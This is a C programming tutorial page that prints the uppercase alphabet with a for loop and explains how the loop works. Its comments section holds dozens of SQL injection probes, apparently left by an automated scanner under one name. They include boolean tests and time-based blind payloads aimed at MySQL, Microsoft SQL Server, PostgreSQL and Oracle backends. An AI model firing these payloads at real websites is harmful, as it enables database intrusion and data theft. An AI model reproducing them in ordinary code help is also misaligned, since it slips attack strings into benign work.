C Program to print all the English Alphabets in Upper case

Output:

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Program or Solution

				
			
					
#include<stdio.h>
int main()
{
	int i;
	for(i='A';i<='Z';i++)
	{
		printf("%c",i);
	}
	return 0;
}
			
				
			

Program Explanation

Instruction(s) inside the for block{} are executed repeatedly till the second expression is true.

Here i is initialized to A(65) and incremented by 1 for each iteration, instructions inside the for block are executed unless i becomes greater than Z(90).

so value of i will be printed as character like AB C....Z using printf statement and format specifier %c.

Comments

ubaTaeCJ
-1 OR 2+308-308-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+308-308-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+308-308) --
ubaTaeCJ
-1 OR 3*2>(0+5+308-308) --
ubaTaeCJ
-1 OR 2+948-948-1=0+0+0+1
ubaTaeCJ
-1 OR 3+948-948-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+948-948)
ubaTaeCJ
-1 OR 3*2>(0+5+948-948)
ubaTaeCJ
-1' OR 2+267-267-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+267-267-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+267-267) --
ubaTaeCJ
-1' OR 3*2>(0+5+267-267) --
ubaTaeCJ
-1' OR 2+583-583-1=0+0+0+1 or 'iNtMYQQs'='
ubaTaeCJ
-1' OR 3+583-583-1=0+0+0+1 or 'iNtMYQQs'='
ubaTaeCJ
-1' OR 3*2<(0+5+583-583) or 'iNtMYQQs'='
ubaTaeCJ
-1' OR 3*2>(0+5+583-583) or 'iNtMYQQs'='
ubaTaeCJ
-1" OR 2+910-910-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+910-910-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+910-910) --
ubaTaeCJ
-1" OR 3*2>(0+5+910-910) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:6' --
ubaTaeCJ
SgU8gy58'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 955=(SELECT 955 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 527=(SELECT 527 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 508=(SELECT 508 FROM PG_SLEEP(15))--
ubaTaeCJ
Pj6q2a26' OR 192=(SELECT 192 FROM PG_SLEEP(15))--
ubaTaeCJ
nkyzMfHR') OR 617=(SELECT 617 FROM PG_SLEEP(15))--
ubaTaeCJ
IHq99kHA')) OR 324=(SELECT 324 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@UgfJ3